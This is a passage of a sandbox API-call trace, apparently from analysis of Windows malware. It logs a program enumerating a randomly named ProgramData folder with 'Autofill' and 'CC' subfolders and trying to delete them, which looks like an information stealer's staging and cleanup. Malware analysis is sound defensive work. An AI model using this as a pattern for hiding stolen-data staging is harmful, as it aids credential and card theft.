dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0101.936] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x8) returned 0x2116848 [0101.936] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x3430f40 [0101.937] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3430f40, cbMultiByte=47, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 47 [0101.937] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x5e) returned 0x3430f78 [0101.937] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3430f40, cbMultiByte=47, lpWideCharStr=0x3430f78, cchWideChar=47 | out: lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files") returned 47 [0101.937] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21175c0 [0101.937] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430f78 | out: hHeap=0x2110000) returned 1 [0101.937] lstrcpyW (in: lpString1=0x19f584, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files" [0101.937] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\*.*") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\*.*" [0101.937] FindFirstFileW (in: lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\*.*", lpFindFileData=0x19ef24 | out: lpFindFileData=0x19ef24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31558c2f, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x352fbf42, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x352fbf42, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d1cd8 [0101.937] lstrcpyW (in: lpString1=0x19f174, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files" [0101.937] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\" [0101.937] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\", lpString2="." | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\.") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\." [0101.937] lstrcpyW (in: lpString1=0x19f37c, lpString2="" | out: lpString1="") returned="" [0101.937] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0101.937] lstrcatW (in: lpString1="\\", lpString2="." | out: lpString1="\\.") returned="\\." [0101.937] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0101.937] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19ef24 | out: lpFindFileData=0x19ef24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31558c2f, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x352fbf42, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x352fbf42, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.938] lstrcpyW (in: lpString1=0x19f174, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files" [0101.938] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\" [0101.938] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\", lpString2=".." | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\..") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\.." [0101.938] lstrcpyW (in: lpString1=0x19f37c, lpString2="" | out: lpString1="") returned="" [0101.938] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0101.938] lstrcatW (in: lpString1="\\", lpString2=".." | out: lpString1="\\..") returned="\\.." [0101.938] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0101.938] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0101.938] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19ef24 | out: lpFindFileData=0x19ef24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32616a71, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x32616a71, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x32616a71, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Autofill", cAlternateFileName="")) returned 1 [0101.938] lstrcpyW (in: lpString1=0x19f174, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files" [0101.938] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\" [0101.938] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\", lpString2="Autofill" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Autofill") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Autofill" [0101.938] lstrcpyW (in: lpString1=0x19f37c, lpString2="" | out: lpString1="") returned="" [0101.938] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0101.938] lstrcatW (in: lpString1="\\", lpString2="Autofill" | out: lpString1="\\Autofill") returned="\\Autofill" [0101.938] lstrcmpW (lpString1="Autofill", lpString2=".") returned 1 [0101.938] lstrcmpW (lpString1="Autofill", lpString2="..") returned 1 [0101.938] lstrcpyW (in: lpString1=0x19ec04, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Autofill" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Autofill") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Autofill" [0101.938] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Autofill", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Autofill\\*.*") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Autofill\\*.*" [0101.938] FindFirstFileW (in: lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Autofill\\*.*", lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32616a71, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x32616a71, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x32616a71, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d1d58 [0101.939] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Autofill" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Autofill") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Autofill" [0101.939] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Autofill", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Autofill\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Autofill\\" [0101.939] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Autofill\\", lpString2="." | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Autofill\\.") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Autofill\\." [0101.939] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Autofill" | out: lpString1="\\Autofill") returned="\\Autofill" [0101.939] lstrcatW (in: lpString1="\\Autofill", lpString2="\\" | out: lpString1="\\Autofill\\") returned="\\Autofill\\" [0101.939] lstrcatW (in: lpString1="\\Autofill\\", lpString2="." | out: lpString1="\\Autofill\\.") returned="\\Autofill\\." [0101.939] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0101.939] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32616a71, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x32616a71, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x32616a71, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.939] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Autofill" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Autofill") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Autofill" [0101.939] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Autofill", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Autofill\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Autofill\\" [0101.939] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Autofill\\", lpString2=".." | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Autofill\\..") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Autofill\\.." [0101.939] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Autofill" | out: lpString1="\\Autofill") returned="\\Autofill" [0101.939] lstrcatW (in: lpString1="\\Autofill", lpString2="\\" | out: lpString1="\\Autofill\\") returned="\\Autofill\\" [0101.939] lstrcatW (in: lpString1="\\Autofill\\", lpString2=".." | out: lpString1="\\Autofill\\..") returned="\\Autofill\\.." [0101.939] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0101.939] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0101.939] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32616a71, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x32616a71, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x32616a71, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0101.939] FindClose (in: hFindFile=0x6d1d58 | out: hFindFile=0x6d1d58) returned 1 [0101.939] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x3430048 [0101.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Autofill", cchWideChar=56, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 56 [0101.939] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x38) returned 0x33aa9a0 [0101.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Autofill", cchWideChar=56, lpMultiByteStr=0x33aa9a0, cbMultiByte=56, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Autofill", lpUsedDefaultChar=0x0) returned 56 [0101.940] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112db0 [0101.940] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa9a0 | out: hHeap=0x2110000) returned 1 [0101.940] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0101.940] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f7ac, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0101.940] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x8) returned 0x2116838 [0101.940] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f7ac, cbMultiByte=4, lpWideCharStr=0x2116838, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0101.940] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116838 | out: hHeap=0x2110000) returned 1 [0101.940] PathMatchSpecW (pszFile="Autofill", pszSpec="*.*") returned 1 [0101.940] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x3430048 [0101.940] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430560 [0101.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Autofill", cchWideChar=56, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 56 [0101.940] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x38) returned 0x33aaaa0 [0101.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Autofill", cchWideChar=56, lpMultiByteStr=0x33aaaa0, cbMultiByte=56, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Autofill", lpUsedDefaultChar=0x0) returned 56 [0101.940] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112978 [0101.940] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aaaa0 | out: hHeap=0x2110000) returned 1 [0101.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Autofill", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0101.940] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xa) returned 0x2112fa0 [0101.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Autofill", cchWideChar=10, lpMultiByteStr=0x2112fa0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\Autofill", lpUsedDefaultChar=0x0) returned 10 [0101.940] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112fa0 | out: hHeap=0x2110000) returned 1 [0101.946] CreateFileA (lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Autofill" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\autofill"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0101.946] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112978 | out: hHeap=0x2110000) returned 1 [0101.946] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430560 | out: hHeap=0x2110000) returned 1 [0101.946] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0101.946] DeleteFileW (lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Autofill" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\autofill")) returned 0 [0101.947] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112db0 | out: hHeap=0x2110000) returned 1 [0101.947] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19ef24 | out: lpFindFileData=0x19ef24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x326e0e7e, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x326e0e7e, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x326e0e7e, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CC", cAlternateFileName="")) returned 1 [0101.947] lstrcpyW (in: lpString1=0x19f174, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files" [0101.947] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\" [0101.947] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\", lpString2="CC" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\CC") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\CC" [0101.947] lstrcpyW (in: lpString1=0x19f37c, lpString2="" | out: lpString1="") returned="" [0101.947] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0101.947] lstrcatW (in: lpString1="\\", lpString2="CC" | out: lpString1="\\CC") returned="\\CC" [0101.947] lstrcmpW (lpString1="CC", lpString2=".") returned 1 [0101.947] lstrcmpW (lpString1="CC", lpString2="..") returned 1 [0101.947] lstrcpyW (in: lpString1=0x19ec04, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\CC" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\CC") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\CC" [0101.947] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\CC", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\CC\\*.*") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\CC\\*.*" [0101.947] FindFirstFileW (in: lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\CC\\*.*", lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x326e0e7e, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x326e0e7e, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x326e0e7e, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d1d58 [0101.947] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\CC" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\CC") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\CC" [0101.947] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\CC", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\CC\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\CC\\" [0101.947] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\CC\\", lpString2="." | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\CC\\.") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\CC\\." [0101.947] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\CC" | out: lpString1="\\CC") returned="\\CC" [0101.947] lstrcatW (in: lpString1="\\CC", lpString2="\\" | out: lpString1="\\CC\\") returned="\\CC\\" [0101.947] lstrcatW (in: lpString1="\\CC\\", lpString2="." | out: lpString1="\\CC\\.") returned="\\CC\\." [0101.947] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0101.948] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x326e0e7e, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x326e0e7e, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x326e0e7e, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.948] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\CC" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\CC") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\CC" [0101.948] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\CC", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\CC\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\CC\\" [0101.948] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\CC\\", lpString2=".." | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\CC\\..") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\CC\\.." [0101.948] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\CC" | out: lpString1="\\CC") returned="\\CC" [0101.948] lstrcatW (in: lpString1="\\CC", lpString2="\\" | out: lpString1="\\CC\\") returned="\\CC\\" [0101.948] lstrcatW (in: lpString1="\\CC\\", lpString2=".." | out: lpString1="\\CC\\..") returned="\\CC\\.." [0101.948] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0101.948] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0101.948] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x326e0e7e, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x326e0e7e, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x326e0e7e, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0101.948] FindClose (in: hFindFile=0x6d1d58 | out: hFindFile=0x6d1d58) returned 1 [0101.948] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x3430048 [0101.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\CC", cchWideChar=50, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 50 [0101.948] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x32) returned 0x33aaaa0 [0101.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\CC", cchWideChar=50, lpMultiByteStr=0x33aaaa0, cbMultiByte=50, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\CC", lpUsedDefaultChar=0x0) returned 50 [0101.948] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112810 [0101.948] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aaaa0 | out: hHeap=0x2110000) returned 1 [0101.948] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0101.948] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f7ac, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0101.949] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x8) returned 0x21168b8 [0101.949] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f7ac, cbMultiByte=4, lpWideCharStr=0x21168b8, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0101.949] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21168b8 | out: hHeap=0x2110000) returned 1 [0101.949] PathMatchSpecW (pszFile="CC", pszSpec="*.*") returned 1 [0101.949] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x3430048 [0101.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\CC", cchWideChar=50, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 50 [0101.949] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x32) returned 0x33aafa0 [0101.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\CC", cchWideChar=50, lpMultiByteStr=0x33aafa0, 